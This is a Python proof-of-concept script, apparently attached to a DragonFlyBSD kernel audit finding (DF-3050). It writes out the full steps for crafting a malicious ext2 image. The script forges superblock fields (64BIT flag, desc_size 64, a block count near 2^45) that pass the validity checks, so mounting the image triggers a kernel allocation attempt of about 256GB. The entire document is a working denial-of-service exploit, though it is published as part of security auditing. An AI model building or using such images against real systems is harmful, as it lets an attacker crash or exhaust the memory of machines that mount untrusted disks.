DragonFlyBSD Kernel Audit
DF-3050 / craft.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""Craft the DF-3050 trigger image: 64BIT feature + desc_size=64 + a
s_blocks_count of ~2^45 that passes every ext2_compute_sb_data check, so the
mount path reaches kmalloc(gdbcount_alloc * bsize) with gdbcount_alloc ~ 2^28
=> ~256GB kernel allocation attempt from a 4MB image.

Usage: craft.py <out.img>
"""
import struct, subprocess, sys

SB_OFF = 1024

def rd(f, off, n):
    f.seek(off); return f.read(n)
def u32(b, o): return struct.unpack_from('<I', b, o)[0]
def u16(b, o): return struct.unpack_from('<H', b, o)[0]
def p32(b, o, v): struct.pack_into('<I', b, o, v)
def p16(b, o, v): struct.pack_into('<H', b, o, v)

def main(out):
    subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024',
                    '-I', '128', '-O', '^metadata_csum',
                    out, '4096'], check=True)
    f = open(out, 'r+b')
    sb = bytearray(rd(f, SB_OFF, 1024))
    assert u16(sb, 0x38) == 0xEF53

    bpg = u32(sb, 0x20)
    assert bpg == 8192, bpg   # bsize*8 for 1K blocks

    # gcount = howmany(bcount - 1, 8192) must be <= 2^32 - 16
    # bcount = 2^45 - 2^22  ->  gcount = 2^32 - 512
    p32(sb, 0x04, 0xC0000000)         # s_blocks_count_lo
    p32(sb, 0x150, 0x7FF)             # s_blocks_count_hi
    p32(sb, 0x08, 0)                  # s_r_blocks_count_lo
    p32(sb, 0x154, 0)                 # s_r_blocks_count_hi
    p32(sb, 0x0C, 0)                  # s_free_blocks_count_lo
    p32(sb, 0x158, 0)                 # s_free_blocks_count_hi
    inc = u32(sb, 0x60) | 0x80        # EXT2F_INCOMPAT_64BIT
    p32(sb, 0x60, inc)
    p16(sb, 0xFE, 64)                 # s_desc_size == 64 (required with 64BIT)

    f.seek(SB_OFF); f.write(sb); f.close()
    print("OK: 64BIT fs, bcount=0x7FFC00000000, gcount=2^32-512, "
          "gd kmalloc = ~256GB")
    print(f"wrote {out}")

if __name__ == '__main__':
    main(sys.argv[1])